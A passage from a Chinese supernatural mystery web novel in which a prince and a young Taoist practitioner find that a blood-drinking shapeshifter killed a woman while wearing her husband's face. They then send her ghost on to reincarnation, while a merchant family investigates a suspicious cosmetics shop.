“你昨夜睡得跟……咳,鼾声如雷,能知道什么?”他及时收住了某个不太文雅的比喻。 “噗嗤——” 一旁的小花没忍住,直接笑出了声。东风顿时窘迫地挠了挠头,“嘿嘿”干笑了两声,不敢再多问。 裴昭这才继续解释道:“昨日李大鹏他们初步询问过王庆。他声称案发当晚自己一直在城西的‘富贵坊’赌场里,从未离开,且有众多赌客可以作证,并无作案时间。我昨夜去那赌坊暗查了一番,亲自‘偶遇’了他,盘问了几句。依我看,他并未撒谎,当晚他确实应该就在赌场。在判断人是否说谎这点上,本王自有分寸。” “不!不可能!”刘婶的魂体一听这话,立刻激动起来, “那晚我亲眼所见!绝对不会错!那就是王庆!我和他同床共枕十几年,为他生儿育女,他就算化成了灰我也认得!我怎么可能会看错?!” “真的是他!他就站在我房门口!林小姐,您要相信我啊!” 东风紧皱着眉头,百思不得其解:“这……这事可就太蹊跷了!刘婶不可能认错与自己同床共枕十几年的相公,王爷的眼力也断不会看走眼王庆是否撒谎。难不成……这世上有两个王庆?” 他猛地想到一种可能,急急问道:“刘婶,王庆可有孪生兄弟?或是其他长相极为相似的血亲?” 刘婶的魂体闻言,凝神思索了片刻,肯定地摇了摇头: “没有。我从未听说过他有什么双生兄弟,他是家中独子,并无其他至亲。我也从未见过任何一个与他容貌相似之人。” 她顿了顿,语气变得更加确凿,甚至带着一丝急切以证明自己绝未看错: “而且,王庆的左耳垂下面,有一颗小指指甲盖大小的红色胎记,平日里被头发遮着不太显眼,但我与他朝夕相对,再清楚不过。那晚……那晚我虽然惊慌,但离得近,的的确确也看到了他左耳垂下那颗红痣!所以绝非因天黑慌乱而认错了人!” “这就怪了……”东风只觉得一股寒意从脊背窜起,忍不住搓了搓手臂, “一个在赌场人证俱全,一个却诡异地出现在紧锁的后院还袭击了刘婶,两人都有无法辩驳的特征……这、这到底是怎么回事?总不至于……总不至于其中一个是鬼吧?!” 他这话一说出口,自己先打了个冷颤,下意识地又往小花身边靠了靠。 停尸房内的烛火似乎也感应到了这诡异的气氛,不安地跳动了一下。 第144章 可怕的组织 裴昭目光转向一直凝神倾听的林小满,沉声问道: “林小姐,此事你怎么看?这王庆……究竟是何情况?难道真如东风所猜,这世上竟有两个王庆不成?” 林小满眉头微蹙,沉吟片刻,缓缓开口,语气却异常肯定: “没错,从某种意义上说,确实可以认为是‘两个’王庆。” 她的话让众人皆是一愣。刘婶的声音充满了难以置信的困惑: “两、两个?林小姐,您这话……民妇实在听不明白。一个人怎么可能变成两个人?怎么就……两个都是真的了?” 林小满看向刘婶解释道:“刘婶,你亲眼所见,耳下有痣,那晚出现在你门口的,从形貌特征上看,确确实实是王庆,这一点毋庸置疑。” “而王爷查证,案发之时,真正的王庆其人也的确身在赌场,有多人作证,且王爷判断他并未撒谎。这也是事实。” “那么,问题就出在‘如何实现’上。这并非什么双生子的诡计,而更可能是一种邪术,‘画皮’,或者类似的高明易容之术。” “有人用某种难以想象的手段,完美地伪装成了王庆的模样,甚至连他耳后那极其隐蔽的红痣都复刻了出来。其逼真程度,足以骗过与他最为亲近的你。” 她目光扫过众人震惊的脸: “此举目的极为险恶。一来,可以轻易骗取你的信任,让你在深夜毫无防备地跟随他离开房间;二来,一旦事发,所有嫌疑都会自然而然地指向那个有家暴、赌博前科,且与你积怨已深的真王庆。幕后真凶不仅能逍遥法外,还能完美嫁祸,一石二鸟。” 刘婶的魂体听得呆住了,巨大的震惊甚至暂时压过了悲伤,东风张大了嘴,喃喃道: “易、易容术?能……能像到这种地步?连枕边人都分不出?” 林小满轻轻颔首,指尖虚点向刘婶魂体周身那几乎看不见的淡淡黑气: “你的魂魄上,缠绕着一丝极淡却阴冷的煞气。你这几日,除了在铺子里接触掌柜和伙计,私下里紧密接触过的,便只有你的相公和孩子,对吗?” 刘婶不安地点了点头。 “那就对了。”林小满语气笃定, “我前日去你们铺子时,店内并无此等阴煞之气。这说明,这煞气并非来自铺子本身,也非店内常人所带。它是在你最后一次见到‘王庆’时沾染上的。当时你拉着他去往茅厕,必然有过肢体接触,这邪秽之气便由此过渡到了你身上。” 她目光变得锐利:“简单来说,你当晚所见所触的那个‘王庆’,根本就不是活人王庆本人!” 东风倒吸一口凉气:“不是真人?那、那是什么东西?是鬼?还是妖怪?” “非鬼,亦非常见之妖。”林小满沉吟道,“若我所料不差,此物很可能是‘画皮鬼’的一种变体,或者更确切地说,是‘血魅’。” “血魅?”裴昭沉声重复,眉头紧锁。 “嗯。”林小满解释道,“这是一种极为罕见邪异的精怪,并非由亡魂所化,而是聚阴煞秽气而生,无形无质,却能完美幻化任何人的形貌,甚至连细微特征和记忆碎片都能模仿。它们以血液为食,尤其渴望……‘纯净’之血。” “在它们扭曲的认知里,一生善良、孝顺父母、友爱邻里、从未作恶之人的血液,最为纯净甘美,能极大增长它们的邪力。刘婶你性情敦厚,孝顺祖母,疼爱幼子,辛勤劳作抚养家庭,在它们眼中,你的血……恐怕正是它们梦寐以求的‘佳肴’。” “那王庆前日抱着孩子来找你,露出的古怪笑容,以及深夜诡异出现……恐怕都是在确认你的气息,并选择在你最无防备的时刻下手。它幻化成王庆的模样,既能轻易近你的身,又能将祸水东引,可谓一举两得。” 裴昭紧锁着眉头,语气沉重:“这世上竟还有如此诡谲恐怖之物?” 林小满神色淡然:“大千世界,无奇不有。我们所知,不过沧海一粟。” 小花此时也面露疑惑,扯了扯林小满的衣袖: “可是小姐,‘血魅’这种东西,按规矩不应该轻易出现在人世间才对啊?” 东风忙问:“什么意思?” 林小满颔首,解释道: “小花说的没错。血魅并非自然滋生之妖,它们更像是被禁忌邪术催生出的怪物,介于精怪与邪灵之间。百年前玄门与邪道一场大战,此类邪术大多已被封印禁绝,残存的血魅也应被镇压在极阴之地或早已消亡。按理说,如今不该再有这种东西现世。” 她语气转为凝重:“所以,此物重现,极不寻常。” 裴昭眸光一凛,立刻抓住了关键:“林小姐的意思是……莫非是有人……” “不错。”林小满肯定道,“若是镇压之地自然松动,逃出的绝不可能只有这一只,必是成群结队,城中早已邪气冲天。但如今京城并无此征兆,可见此事并非天灾,而是人祸。” 她看向刘婶的魂体: “而且,真正的成熟体血魅,凶残暴戾,吸食血液的同时会连同魂魄一并吞噬殆尽,绝不会让受害者魂魄如此完整地留存下来。 眼前这只,行事虽诡谲,却似乎力有未逮,更像是一个……刚刚被‘制造’出来,或者尚在‘幼生’阶段的残次品,还在蹒跚学步,未能完全掌控自身所有的邪能。” 东风听得头皮发麻,忍不住倒吸一口凉气,声音都带上了颤音: “先是能吞噬梦境的‘狍鸮’,现在又出来个吸人血的‘血魅’!这京城到底是怎么了?怎么就成了这些怪物的老窝了吗?!” 他猛地转向裴昭,脸色前所未有的严肃: “王爷!属下觉得此事绝不简单!这背后一定有问题!您说……有没有可能,之前出现的狍鸮,和眼下这个血魅,根本就是出自同一伙人之手?京城里……是不是隐藏着一个我们不知道的、专门捣鼓这些可怕玩意儿的巨大组织?” 第145章 投胎 裴昭面色凝重,东风的话无疑戳中了他心中最深的疑虑。 无论是十多年前自己身中的诡异咒术,还是近来京城层出不穷的邪祟事件,其背后似乎都缠绕着同一股不祥的阴影。 他看向林小满,沉声问道:“林小姐,此事……你如何看?” “眼下猜测无益,当务之急,是必须尽快找到那只‘血魅’。它尚在幼生阶段便已害人性命,若任其成长或继续作恶,后果不堪设想。找不到它,一切皆是空谈。” “小姐!”就在这时,小花突然发出一声短促而惊疑的低呼。 林小满闻声立刻回头,只见小花不知何时已凑到了停尸台边,正弯着腰,圆溜溜的眼睛一眨不眨,死死盯着刘婶尸身的脚底方向,小脸上满是惊愕。 林小满与裴昭对视一眼,立刻快步走了过去。 东风也赶紧跟上,紧张地屏住了呼吸。 几人顺着小花的视线凝神看去,在刘婶苍白僵硬的左脚脚底,于涌泉穴的位置,赫然有一个极不起眼、约莫绿豆大小的朱红色小点! 那颜色红得异常鲜艳,隐藏在脚心褶皱之中,若不刻意翻找,绝难发现。 “这……这是什么?”东风讶异道。 而漂浮在一旁的刘婶魂体,也下意识地低头“看”向自己尸身的脚底,她先是茫然,随即魂体猛地一震,发出更加惊骇的声音: “这、这是什么?我的脚上……我的脚上从来没有过这样的红痣啊!我从未见过!” 林小满俯身仔细查看了那点朱红,随即直起身,语气笃定: “是了,这就对了。果然是‘血魅’所为,而且这并非普通的红痣,这是‘血印’。” 她看向众人疑惑的目光,进一步解释道:“血魅吸食纯净之血后,其邪力会有一个短暂的充盈爆发期,但因其本身并非完美造物,尤其是这种初生的、被催生出来的血魅,往往无法完全掌控或吸收这股力量。” “这滴‘血印’,便是邪力过剩,混杂着刘婶未被完全吸收的纯净血气,从其吸食的伤口逆流而出,偶然逼出体外,滴落附着于尸体之上所形成的。它既是血魅行凶的铁证,也残存着那只血魅独特的气息。” 她指尖再次凝聚起微光,小心地虚悬在那“血印”之上,感受着其中微弱却异常精纯的邪异波动。 “有了这个,追踪它的难度就大大降低了。” “那……那我们现在该怎么做?”东风听得似懂非懂,只觉得玄奥非常,忍不住问道。 “小问题啦~”小花笑嘻嘻地接话,语气轻松。 只见她随手从自己乌黑的发间扯下一根长发,手指灵活地挽了几个结,口中念念有词随,后,她将那根打了结的发丝轻轻朝空中一抛。 那发丝并未飘落在地,而是在半空中莹光微闪,竟化作一只仅有指甲盖大小、近乎透明的纸蝴蝶! 纸蝶扑棱着精巧的翅膀,在空中悬停一瞬,仿佛在辨认方向,随即毫不犹豫地朝着停尸房那扇紧闭的窗户飞去,灵巧地穿透窗纸,消失在众人的视线中。 东风看得目瞪口呆,眼睛瞪得溜圆。 他早知道林小姐本事通天,却万万没想到这个看起来活泼贪吃、总爱和他斗嘴的小丫鬟,竟也有如此神奇的手段! 他看向小花的眼神里瞬间充满了难以置信和浓浓的崇拜。 林小满转向刘婶的魂体,“刘婶,你乃横死,并非寿终正寝,天地法则之下,你的魂魄无法立刻前往地府转世投胎。 若无外力干预,你的魂体会被强行束缚在你遇害之地,日夜重复濒死时的痛苦记忆,直至怨气消磨殆尽或是找到替身,过程煎熬无比。” 刘婶听见这话,脸上浮现出巨大的恐惧和绝望。 她不怕魂飞魄散,却无法承受永无止境的痛苦轮回,尤其是想到再也见不到自己的孩子。 “不过你放心,”林小满话锋一转,安抚道, “我既遇见了此事,便会送你前往该去之地,助你顺利进入轮回,免受这无谓的折磨。” 刘婶的魂体这才稍稍稳定,她感激涕零地向着林小满盈盈拜下: “多谢林小姐大恩大德!民妇来世结草衔环也难报万一!只是……只是……” 她抬起头,眼中泪水涟涟,哀声恳求:“民妇还有一个不情之请……求求林小姐,能否大发慈悲,让我在转世之前,再见一眼我的小宝?哪怕只是一眼,让我知道他平安,我也就能瞑目了……” 林小满看着刘婶哀戚恳求的模样,眼中掠过一丝不忍, “刘婶,爱子之心,人皆有之,我明白。但如今你已是阴魂,小宝仍是生人。人鬼殊途,阴阳相隔。 你若强行靠近他,即便只是远远看一眼,你身上的阴气与执念也会不知不觉侵蚀他的生机,轻则令他体弱多病,运势低迷,重则可能损及魂魄根本。 你若真心爱他,盼他平安顺遂,便不应再去见他。” 刘婶一听这话,整个人瘫坐在地,她当然想见孩子,那是她割舍不下的骨肉。 但林小满的话也让她瞬间清醒,她不能因为自己的思念,而去伤害孩子分毫。 沉默了良久,她才抬起头,声音轻飘飘的, “林小姐……您说得对。是民妇糊涂了……只要我的小宝能平安长大,过得好好儿的……我见与不见,又有什么要紧呢?我……我愿意现在就去我该去的地方。” 林小满抬手从发髻间取下九幽凝心簪。 她以簪为笔,于虚空中轻轻一划。 霎时间,眼前的空气撕裂开一道缝隙。 那缝隙迅速扩大,形成一道朦胧虚幻、边缘流淌着暗沉幽光的门扉。 门内看不清景象,只有一片深邃的黑暗,隐隐传来似有若无的流水声, “去吧。循着水声走,莫要回头。”林小满轻声道。 刘婶的魂体最后深深地望了一眼人自己的尸体,随后,她毅然决然地转身,飘向了那道幽暗的门扉,身影迅速融入其中,消失不见。 在她完全进入的刹那,那门如同从未出现过一般,悄无声息地闭合、消散,没有留下任何痕迹。 第146章 风波一过,否极泰来啊 停尸房内再次恢复了之前的寂静,只剩下摇曳的烛火,和心中感慨万千的四人。 从阴冷的停尸房出来,重新站到阳光下,东风才仿佛找回了一些真实感。 他按捺不住好奇心,几步凑到林小满身边,眼睛直勾勾地盯着她发间那支簪子,憨笑着挠头: “林小姐,您头上那支簪子可真厉害!就那么一划,就能开一扇门!我能……能仔细瞧瞧吗?嘿嘿。” 林小满停下脚步,侧过头,似笑非笑地看着他: “行啊。你若能拿得下来,就给你看个够。” “真的?”东风眼睛一亮,得到首肯的他立刻兴奋地伸出手,小心翼翼地向那支看似平平无奇的九幽凝心簪探去。 然而,他的指尖还未触及簪身,一股灼热刺痛感便猛地从他掌心传来! 东风心中疑惑,却并未立刻收手,只是动作更谨慎了些。 可就在他的指尖即将碰到簪子的刹那—— “嘭!” 一股无形的力量猛地自簪上爆发出来,毫无防备的东风只觉得一股巨力当胸撞来,整个人惊呼一声,直接被掀飞出去,狼狈地摔在几步开外的青石板地上,摔得他眼冒金星,七荤八素。 “噗——哈哈哈!哎哟喂,笑死我了!” 一旁的小花早就憋着笑,此刻见东风四仰八叉地躺在地上,再也忍不住,捂住肚子笑得前仰后合,眼泪都快出来了, “你个呆子!小姐的法宝也是你能随便碰的?自讨苦吃了吧!哈哈哈!” 东风龇牙咧嘴地撑起身子,感觉浑身骨头像散了架一样酸痛,尤其是屁股摔得生疼。 他一边揉着摔疼的地方,一边苦着脸看向一脸坏笑的林小满和笑得毫无形象的小花,委屈得不行,只能嘟囔着嘴,向自家主子求助: “王爷……她们合伙欺负我……” 裴昭无奈地揉了揉眉心,上前一步,先是扫了东风一眼,确认他没大碍,这才转向林小满,语气带着歉意: “林小姐,实在对不住,是本王管教不严,让这莽撞的东西冲撞了你和你的法器。” 林小满摆摆手,唇角噙着一丝笑意: “无妨,王爷不必介意。是我没说清楚,我这簪子早已认主,与我神魂相连。它自有灵性,非修行之人,周身无灵气护持者,根本近不得身,更遑论触碰。旁人若强行硬碰,必遭反噬,非死即伤。” 她顿了顿,瞥了一眼正龇牙咧嘴爬起来的东风,眼中笑意更深: “方才东风会被弹开,已是我极力收敛了簪中之力,否则……他可就不只是摔一跤这么简单了。” 裴昭闻言,目光转向正揉着屁股龇牙咧嘴的东风,语气微沉: “还愣着做什么?冒犯了林小姐,还不快过来赔罪。” 东风一听,也顾不上浑身酸痛了,连忙一瘸一拐地走上前,对着林小满恭恭敬敬地行了个礼, “林小姐,对不住!是东风莽撞无知,险些酿成大错,多谢林小姐手下留情!您这法器真是太……太厉害了!”他心有余悸地瞥了一眼那支看似普通的簪子。 林小满轻笑一声,摆了摆手:“无妨,不知者不怪。下次记得,好看的东西未必都能随便碰。” 这时,林小满像是忽然想起了什么,神色一正,转向裴昭问道: “王爷,我记得宫中似乎有一位名叫青阳的道长?他是当今国师的亲传弟子,可是?” 裴昭颔首,眼中闪过一丝了然: “不错。青阳确是国师首徒。国师已于半年前闭关静修,预计还需半年方能出关。如今宫中一应祈福禳灾、观测天象之事,暂由青阳代理。” 他顿了顿,看向林小满,“林小姐突然问起他,是想……” “正是。”林小满接口道,“既然国师闭关,那能否请王爷行个方便,暂借青阳一用?追踪血魅乃至探查其背后可能存在的势力,光靠我们几人恐有疏漏。 青阳道长师承国师,于阵法、追踪、辨识邪气等方面必有专长,有他从旁协助,此事会顺利许多。” 裴昭没有丝毫犹豫,当即应允:“自然可以。此事关乎京城安宁,本王这就遣人入宫,请青阳道长即刻前来与我们会合。” …… 沈府花厅内。 沈盛德端坐在上首的紫檀木太师椅上,手指有一搭没一搭地敲着光滑的扶手,面色沉凝。 下手坐着的是满脸堆笑、却难掩焦灼的贾富贵贾掌柜。 沈盛德重重叹了一口气,眉头紧锁,摆出一副既惋惜又为难的模样: “贾掌柜啊,不是我不想投你这铺子。原先看你那铺子地段、货品都还算不错,确有几分前景,加之我外甥女很是看好你。 可这……这好端端的,怎么就在你后院闹出人命了呢?这……这多不吉利!传出去,谁还敢上门啊?” 贾掌柜一听,心里顿时将死去的刘婶咒骂了千百遍,只恨她早不死晚不死,偏偏在这个节骨眼上断他财路! 这眼看就要到嘴的肥鸭,难不成真要飞了? 他面上却立刻挤出更加谄媚的笑容,身子往前倾了倾,几乎要从椅子上滑下来,连声道: “哎呦喂我的沈员外啊!您说的是,这真是天降横祸,倒霉透顶!我这心里也跟刀绞似的!可您想想,官府也来查了,不也没查出个所以然来吗?” 他压低声音,故作神秘又带着后怕地说道: “我也就是隐隐约约听我那铺子里的伙计偷偷议论,说那刘婶死得邪门啊,就剩下一层皮包着骨头,浑身上下一滴血都没了!哎哟,光是听着就让人汗毛倒竖!我都没敢去看那尸首!” 他话锋一转,又努力将话题拉回: “您说我这运气真是……不过话说回来,出了这种邪乎事,说不定……说不定也是某种征兆?把过去的晦气都带走了呢?否极泰来嘛! 沈员外,您再考虑考虑?投资我这铺子,绝对是稳赚不赔的买卖!只要这风波一过,必定财源滚滚来!您就放一百个心!” 第147章 是人是鬼都闹不明白 沈盛德闻言,慢悠悠地端起手边的茶盏,用杯盖轻轻撇去浮沫,呷了一口,方才不紧不慢地说道: “贾掌柜,话不是这么说的。我这个人呐,最是信奉稳妥,做生意图的是个和气生财,最忌讳这种血光之灾、不清不楚的事情。” 他放下茶盏,“你这铺子刚出了这么一桩骇人听闻的命案,凶手至今逍遥法外,连是人是鬼都闹不明白。 我这要是投了钱,万一……我是说万一,这凶手要是再回来,或者这晦气根本就没散干净,那我这投进去的真金白银,岂不是打了水漂还得惹上一身腥?” 他的眼神在贾富贵身上来回打量,语气意味深长: “再说了,这凶手是谁,现在谁说得准呢?知人知面不知心啊……” 贾富贵被沈盛德那意有所指的目光看得浑身不自在,他猛地站起身,双手急摆,声音都拔高了几分,带着被冤枉的急切: “沈员外!您……您这话是什么意思?您可不能用这种眼神看我啊!我贾富贵虽然爱财,可也是个本分的生意人!杀人害命这种事,我是绝对不敢做的!借我十个胆子我也不敢啊!那刘婶就是在我的铺子里出了事,我比谁都冤啊!” 沈盛德看着他急赤白脸的模样,嘴角勾起一抹不易察觉的冷笑, “哦?是么?这可不好说啊……毕竟,这世上为了钱,什么事干不出来呢?你说是不是?” 贾富贵被他这阴阳怪气的话噎得脸色一阵青一阵白,胸口剧烈起伏,显然气得不轻。 他算是看明白了,这沈盛德根本就是找借口不想投资,甚至还怀疑到自己头上来了! 他强压下心头的怒火,硬邦邦地拱了拱手,语气也冷了下来: “既然沈员外信不过我贾某人,那这合作不谈也罢!告辞!” 说完,他不再多看沈盛德一眼,铁青着脸,拂袖而去。 贾富贵怒气冲冲的背影刚消失在影壁之后,一道身影便从屏风后悄无声息地转出,正是沈武。 他走到沈盛德身边,面上带着一丝忧虑,低声道: “老爷,这般打发了他,会不会……太过得罪于他?毕竟他在京城商界也算有些人脉。” 沈盛德嗤笑一声,随手将茶盏搁在几上,脸上尽是轻蔑: “得罪?哼,我还需怕得罪他一个唯利是图的商贾?若不是小满先前觉得此人或许有点用处,想逗他玩玩,多套些话出来,就凭他,也配登我沈府的门槛?与他多说一句话,我都觉得污了身份。” 他语气一转,侧头看向沈武,:“让你去查的事情,可有眉目了?” 沈武立刻躬身,“回老爷,查到了。林小姐所言分毫不差!这雪香斋背后,确确实实另有主子,贾富贵不过是个被推至台前、打理琐事的傀儡掌柜罢了,真正的东家隐藏得极深。” 沈盛德一听,脸上顿时漾开难以抑制的笑意,抚掌赞叹: “好!好!小满果然是好眼力!心思缜密,洞察入微!不过是一面之缘,寥寥数语,竟能看出这许多关窍!哈哈哈,真不愧是我沈盛德的外甥女!” 他笑声一收,吩咐道: “继续查!务必给我揪出这藏在幕后的正主儿!我倒要看看,是谁在故弄玄虚。” “是,老爷。”沈武恭声应下,随即又禀报另一事, “还有,老爷,关于他们雪香斋即将推出的新品‘碧潭凝翠’,我们也找到了新的线索。已经弄到了一些样品,并让府中供养的那几位老师傅加紧查验其成分了。最迟今晚,定能将其中奥秘、乃至来源,剖析明白,呈报给您。” 沈盛德满意地点点头,“很好。盯紧了,任何细节都不要放过。” 沈武迟疑片刻,还是开口问道:“老爷,您是觉得……这‘碧潭凝翠’胭脂,有什么不对劲的地方?” 沈盛德微微蹙眉,手指无意识地敲击着扶手: “嗯。小满那孩子,我了解,她绝不会无缘无故拉着我去戏耍一个贾富贵。她既然特意带我去了雪香斋,又那般仔细地查看了那盒胭脂,甚至出言试探……这其中必定有深意。 她虽未明说,但我看得出来,她那语气神态,分明是在暗示我那盒胭脂绝非凡品,甚至……可能大有文章。” 沈武闻言,脸上露出钦佩之色:“林小姐确实是一位奇人,心思玲珑,眼力非凡。只是……老爷,有句话,不知当讲不当讲。” 沈盛德抬眼看他:“你是想說小满的身份和她这一身本事,有些蹊跷?” “老爷明鉴。”沈武躬身道, “正是。据我们调查,林小姐在乡下生活了十数年,日子清苦,时常遭受鞭打虐待,账户人家对她管束也极为苛刻。 按理说,这样的环境……可您看林小姐,除了手上那些干粗活留下的老茧,她的言行举止、气度风华,甚至偶尔流露出的威仪,哪一点像是乡野长大的女子?与在京城锦绣堆里长大的知鸳小姐相比,她非但不显局促,反而时常让人觉得……觉得知鸳小姐在她面前反倒落了下乘。” 他顿了顿,继续说出最大的疑点: “此为其一。其二,也是最令人费解之处。林小姐这一身精湛玄妙的术法,究竟从何而来?乡下确有一座荒废多年的小道观,里面的老道长也早已仙逝,根本无从查证。她是在何处拜师?又是如何学到这般厉害的本事?这实在……令人难以想象。” 沈盛德听完,非但没有疑虑,反而露出了然的笑容,“沈武啊,你看得很仔细,这些疑点也确实存在。 但是,你想想,她那眉眼,那神态,尤其是那偶尔狡黠调皮的模样,和小妹年轻时简直是一个模子刻出来的!你说她们不是亲母女,谁信?” “至于你说她的仪态和本事……”沈盛德笑了笑,眼中满是赞赏, “这难道不正说明了我沈家血脉优秀,天生不凡吗?她母亲便是惊才绝艳之人,她青出于蓝而胜于蓝,有何奇怪? 她如今回到府中,礼仪规矩一学就会,一点就透,甚至比旁人做得更优雅从容,这难道不是天赋?至于玄学术法,或许正是她机缘深厚,自有际遇。只要她心性正直,用在正途,便是她的造化,我沈家之幸!” 第148章 林小姐说的自然没错 沈武闻言,脸上露出一丝释然和敬佩的笑容,躬身道: “老爷思虑周全,是小的多虑了。您对林小姐的疼爱和维护,令人动容。” 沈盛德哈哈一笑,站起身来,用力拍了拍沈武的肩膀,语气感慨: “你的心思我明白,知道你也是为了沈家和小满好,处处谨慎是应该的。小满这孩子,在外面漂泊了十几年,吃了那么多苦,如今好不容易找回来了,我和她母亲心思肯定是一样的。 我们不需要她必须成为多么显赫尊贵的人,也不需要她为家族带来多少利益。只要她这辈子能活得开心、自在、痛快,那就比什么都强! 她想用这身玄学术法去帮助人,去行侠仗义,好,我们沈家倾力支持!她若只想平平稳稳、无忧无虑地过日子,也好,我们沈家也养得起她一辈子,保她一世富贵闲适!” 沈盛德叹了一口气,“这京城,水深浪急,是非也多。她若是待不惯,或者哪天觉得倦了、厌了,又或者她那个爹,林正言那个老狐狸护不住她了,再或者有任何人、任何事逼她做她不愿意做的事…… 只要她一句话,我沈家,就算是拼尽全族之力,散尽万贯家财,也必定护她周全!绝不让她再受半分委屈!” 沈武听着自家老爷这番掷地有声、充满护犊之情的话语,心中亦是激荡。 他深深一揖,“老爷放心!您的意思,沈武明白了。沈家上下,必定竭尽全力,护佑林小姐平安喜乐。但凡有需要小的出力的地方,万死不辞!” …… 马车平稳地行驶在渐暗的街道上,车轮碾过青石板发出规律的辘辘声。 车厢内,裴昭正闭目养神,东风在外驾着车,中间隔着一层厚厚的车帘。 天色已晚,暮色四合,东风犹豫了片刻,还是忍不住压低声音向着帘内问道:“王爷?” “嗯。”里面传来裴昭一声淡淡的回应。 得到准许,东风这才将心中的忧虑说了出来: “王爷,属下……属下还是有些放心不下小宝那孩子。就王庆现在那样子,自己都吃了上顿没下顿,还嗜赌成性,他怎么养活孩子? 咱们……咱们为什么不干脆把孩子带走呢?哪怕是交给刘婶的娘家爹娘抚养,或者送去可靠的育婴堂,也比跟着王庆强啊!属下实在是担心,这孩子跟着他爹,怕是……怕是前途堪忧,连温饱都成问题。” 车内静默了片刻,才传来裴昭的声音: “你的顾虑,本王明白。今日将刘婶的尸身送还时,本王仔细观察过王庆。他眼中的悲痛和悔恨,不似作伪。尤其是看着小宝时,那眼神是做不了假的。 而且,林小姐当时也看过他们父子的面相。她言道,王庆经此丧妻之痛,又险些蒙受不白之冤,心性已有所转变,犹如顽石初开。 只要有人从旁稍加引导助他还清赌债,他自然能洗心革面。至于小宝……此子面相隐有韧劲,幼年虽有些坎坷磨砺,却能锤炼其心志,将来若能走上正途,必非池中之物,反可能有一番作为。 如今他们生活虽是清苦,但父子相依为命,对王庆是一种牵绊和责任,对小宝而言,亦是磨难亦是修行。贸然将他们分开,未必是好事。” “既然是林小姐所言,那……那属下便没什么可担心的了。”东风的声音里带着显而易见的信服。 车内,裴昭轻轻哼了一声,语气听不出喜怒: “你现在倒是很听林小姐的话?怕是快分不清谁才是你正经主子了。” 东风在外头吓得一个激灵,差点没握紧缰绳,连忙表忠心: “王爷明鉴!属下的主子自然只有王爷您一人!天地可鉴!至于林小姐……她、她是王爷您看重和信任的人,本事又那么大,她说的话肯定有道理,属下这才……这才多信了几分。”他越说声音越小,有些心虚。 “哦?只是本王看重之人?本王看你倒是与她主仆二人相处甚欢,尤其是和小花姑娘,吵吵闹闹,熟稔得很。” 东风顿时语塞,耳根有些发烫,支吾着不知该如何接话。 “既然喜欢多嘴,如此有精神操心旁人,看来是今日的差事还不够累。今夜回府,自己去校场,负重二十斤,跑满二十圈再歇息。” 东风一听,脸立刻垮了下来,却又不敢反驳,只得苦着脸瓮声瓮气地应道: “是……属下遵命。” 裴昭的脑海中不自觉地闪过林小满的模样,看似柔弱外表却截然不同的沉稳与威仪。 他嘴角不自觉地牵起一丝几不可察的轻笑,忽然开口,“东风。” 正苦着脸琢磨着二十圈负重跑该怎么熬的东风一个激灵,连忙应道:“属下在!” “你觉得……林小姐此人怎样?”裴昭的声音听起来似乎只是随口一问。 东风愣了一下,没想到王爷会突然问这个,但他对林小满印象极佳,几乎是脱口而出,语气都轻快了几分: “林小姐自然是极好的!模样生得顶顶漂亮,不是那种娇滴滴的漂亮,是……是又灵又大气,眼睛尤其亮,好像能看透人心似的! 家世也好,是林相爷的千金,虽然……呃,以前过得不太好。” 他顿了顿,赶紧补充更重要的, “最重要的是,林小姐真有本事!不是那种装神弄鬼的,是真高人!懂的这些玄学术数,看相查案,简直是神乎其技!心肠也好……嗯,总之,就是很厉害,很好!” 他一股脑说完,才后知后觉地担心自己是不是话太多,夸得太直白了。 车内静默了一瞬,才传来裴昭听不出情绪的声音:“你对她的评价倒是挺高。” 东风挠了挠头,憨憨地笑了笑: “王爷,属下就是个粗人,不懂那些弯弯绕绕。我就是觉得……觉得林小姐不一样,她好像从来都不说虚话,有一说一,看得准,也敢说。 就像……就像她指出刘婶死因,点破贾富贵心虚那样,干脆利落!让人信服!” 他努力组织着语言,“对,就是实事求是!感觉她身上有种……特别实在、特别通透的劲儿?” 第149章 东风中邪 “实事求是……”裴昭低声重复了一遍这四个字,指尖在膝上轻轻敲了敲,似在品味这个词。 “是啊王爷,”东风越说越觉得贴切,“就跟……就跟咱们军中最好的斥候似的,报回来的消息绝对准确,不掺水分,让人能放心制定策略!林小姐给人的就是这种感觉,虽然她查的是鬼鬼神神、人心诡事,但结论扎实,让人安心。” 裴昭闻言,眼底掠过一丝更深的笑意,却并未再对此多言,只是淡淡道:“嗯。专心赶你的车吧,二十圈,一圈都别想少。” 刚刚还因为找到精准词汇而有点小得意的东风,脸瞬间又垮了回去,哀叹一声:“……是,王爷。” 也不知过了多久,车轮碾过一段不甚平整的路面,发出轻微的颠簸声。 车厢内一直闭目养神的裴昭,忽然又开口,带着一丝不易察觉的试探,仿佛只是在自言自语间捕捉到了一个飘忽的念头: “东风,你说……若请林小姐来做这靖安王妃,她可会愿意?” 这话问得太过突兀,车辕上的东风猛地一怔,几乎以为自己听错了,下意识地就要张口。 然而,还没等他将那声惊愕的“啊”说出口,车帘内的裴昭已然低低地自嘲一笑,语气里染上了几分了然与淡淡的涩意, “呵……她定然是不愿的。” 他顿了顿,声音更轻了几分,像是说给东风听,又像是说服自己: “她那般性子,通透豁达,自有丘壑,眼中看得见天地众生,心中藏得下玄机妙法……又怎会甘心被困于一方宅院,拘于王妃之位的繁文缛节之中?” 夜风透过车厢两侧的细帘缝隙钻入,带来一丝凉意。 裴昭似乎并未察觉,只是顺着自己的思绪继续低语,那话语中竟带上了一丝近乎渺茫的期许: “你说……若我许她,成婚之后,仍可如现在这般自在?她若想行侠仗义、探查诡事,便由她去; 若想研习玄术、游历四方,我也必不阻拦……甚至,靖安王府的资源人力,皆可为她所用。如此……她可否会……略微考虑一二?” 他的声音渐渐低了下去,最后几不可闻,仿佛自己也觉得这想法有些异想天开,却仍忍不住问了出来。 话问出后,车内便陷入了沉默。 裴昭等待着东风的回应,哪怕是惊讶的抽气,或是结结巴巴的劝谏。 然而,过了好一会儿,车外竟是一片寂静。 只有马蹄踏在青石板上的“嘚嘚”声,以及车轮单调的“辘辘”声回应着他。 裴昭微微蹙眉。 这不对劲。 东风向来耳力极佳,即便自己声音再轻,他也断无可能听不见。 更何况是如此惊人的问话,以东风那藏不住话的性子,早该惊呼出声了。 突然之间,裴昭只觉一阵格外阴冷的寒风,从马车两侧的窗帘缝隙中倒灌而入,激得他皮肤上瞬间起了一层细小的疙瘩。 这风……冷得有些邪门,不似夏夜的凉,倒像是隆冬深夜的寒意,带着一股说不出的死寂与不祥。 “东风?” 裴昭沉声唤道,语气中已带上了警惕。 车外,依旧无人应答。 